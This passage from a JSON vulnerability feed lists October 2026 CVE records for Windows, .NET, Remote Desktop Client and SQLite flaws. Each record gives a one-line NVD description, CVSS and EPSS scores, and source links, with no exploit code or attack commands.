over a network.","summary":"Deserialization of untrusted data in .NET Framework allows an unauthorized attacker to execute code over a network.","detail":"Deserialization of untrusted data in .NET Framework allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:14.490Z","updatedAt":"2026-10-22T22:18:22.253Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70035","asOf":"2026-10-22T22:18:22.253Z"},"epss":{"probability":0.01435,"percentile":0.72917,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70035&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70035","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70035","type":"primary","publishedAt":"2026-10-13T19:19:14.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70035&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70035, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70010","cveId":"CVE-2026-70010","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:12.043Z","updatedAt":"2026-10-16T16:20:22.463Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70010","asOf":"2026-10-16T16:20:22.463Z"},"epss":{"probability":0.00388,"percentile":0.32604,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70010&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70010","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70010","type":"primary","publishedAt":"2026-10-13T19:19:12.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70010&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70010, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70008","cveId":"CVE-2026-70008","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in Windows IP Over USB Service allows an authorized attacker to elevate privileges locally.","summary":"Integer overflow or wraparound in Windows IP Over USB Service allows an authorized attacker to elevate privileges locally.","detail":"Integer overflow or wraparound in Windows IP Over USB Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:11.903Z","updatedAt":"2026-10-16T16:20:22.290Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70008","asOf":"2026-10-16T16:20:22.290Z"},"epss":{"probability":0.00388,"percentile":0.32605,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70008&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70008","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70008","type":"primary","publishedAt":"2026-10-13T19:19:11.903Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70008&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70008, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70007","cveId":"CVE-2026-70007","aliases":[],"kind":"vulnerability","title":"Out-of-bounds write in .NET Framework allows an unauthorized attacker to execute code over a network.","summary":"Out-of-bounds write in .NET Framework allows an unauthorized attacker to execute code over a network.","detail":"Out-of-bounds write in .NET Framework allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:11.757Z","updatedAt":"2026-10-22T22:18:20.337Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70007","asOf":"2026-10-22T22:18:20.337Z"},"epss":{"probability":0.00801,"percentile":0.56343,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70007&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70007","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70007","type":"primary","publishedAt":"2026-10-13T19:19:11.757Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70007&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70007, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70006","cveId":"CVE-2026-70006","aliases":[],"kind":"vulnerability","title":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:11.583Z","updatedAt":"2026-10-16T16:20:21.990Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70006","asOf":"2026-10-16T16:20:21.990Z"},"epss":{"probability":0.00645,"percentile":0.50625,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70006&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70006","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70006","type":"primary","publishedAt":"2026-10-13T19:19:11.583Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70006&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70006, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69988","cveId":"CVE-2026-69988","aliases":[],"kind":"vulnerability","title":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:09.737Z","updatedAt":"2026-10-16T16:20:19.973Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69988","asOf":"2026-10-16T16:20:19.973Z"},"epss":{"probability":0.00645,"percentile":0.50625,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69988&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69988","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69988","type":"primary","publishedAt":"2026-10-13T19:19:09.737Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69988&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69988, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69987","cveId":"CVE-2026-69987","aliases":[],"kind":"vulnerability","title":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:09.553Z","updatedAt":"2026-10-16T16:20:19.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69987","asOf":"2026-10-16T16:20:19.760Z"},"epss":{"probability":0.00645,"percentile":0.50626,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69987&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69987","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69987","type":"primary","publishedAt":"2026-10-13T19:19:09.553Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69987&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69987, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69986","cveId":"CVE-2026-69986","aliases":[],"kind":"vulnerability","title":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:09.377Z","updatedAt":"2026-10-16T16:20:18.927Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69986","asOf":"2026-10-16T16:20:18.927Z"},"epss":{"probability":0.00645,"percentile":0.50626,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69986&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69986","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69986","type":"primary","publishedAt":"2026-10-13T19:19:09.377Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69986&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69986, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69966","cveId":"CVE-2026-69966","aliases":[],"kind":"vulnerability","title":"Integer overflow or wraparound in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.","summary":"Integer overflow or wraparound in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.","detail":"Integer overflow or wraparound in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:06.983Z","updatedAt":"2026-10-16T16:20:14.157Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69966","asOf":"2026-10-16T16:20:14.157Z"},"epss":{"probability":0.00348,"percentile":0.28095,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69966&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69966","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69966","type":"primary","publishedAt":"2026-10-13T19:19:06.983Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69966&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69966, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69964","cveId":"CVE-2026-69964","aliases":[],"kind":"vulnerability","title":"Use after free in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:06.803Z","updatedAt":"2026-10-16T16:20:13.963Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69964","asOf":"2026-10-16T16:20:13.963Z"},"epss":{"probability":0.00275,"percentile":0.19728,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69964&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69964","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69964","type":"primary","publishedAt":"2026-10-13T19:19:06.803Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69964&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69964, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69963","cveId":"CVE-2026-69963","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:06.623Z","updatedAt":"2026-10-16T16:20:13.780Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69963","asOf":"2026-10-16T16:20:13.780Z"},"epss":{"probability":0.00348,"percentile":0.28094,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69963&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69963","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69963","type":"primary","publishedAt":"2026-10-13T19:19:06.623Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69963&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69963, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69884","cveId":"CVE-2026-69884","aliases":[],"kind":"vulnerability","title":"Buffer over-read in Windows GDI allows an authorized attacker to elevate privileges locally.","summary":"Buffer over-read in Windows GDI allows an authorized attacker to elevate privileges locally.","detail":"Buffer over-read in Windows GDI allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:01.327Z","updatedAt":"2026-10-16T16:20:07.270Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69884","asOf":"2026-10-16T16:20:07.270Z"},"epss":{"probability":0.00388,"percentile":0.32609,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69884&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69884","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69884","type":"primary","publishedAt":"2026-10-13T19:19:01.327Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69884&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69884, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69867","cveId":"CVE-2026-69867","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in SQLite allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in SQLite allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in SQLite allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:00.587Z","updatedAt":"2026-10-16T16:20:06.557Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69867","asOf":"2026-10-16T16:20:06.557Z"},"epss":{"probability":0.00388,"percentile":0.3261,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69867&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69867","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69867","type":"primary","publishedAt":"2026-10-13T19:19:00.587Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69867&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69867, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69856","cveId":"CVE-2026-69856","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory 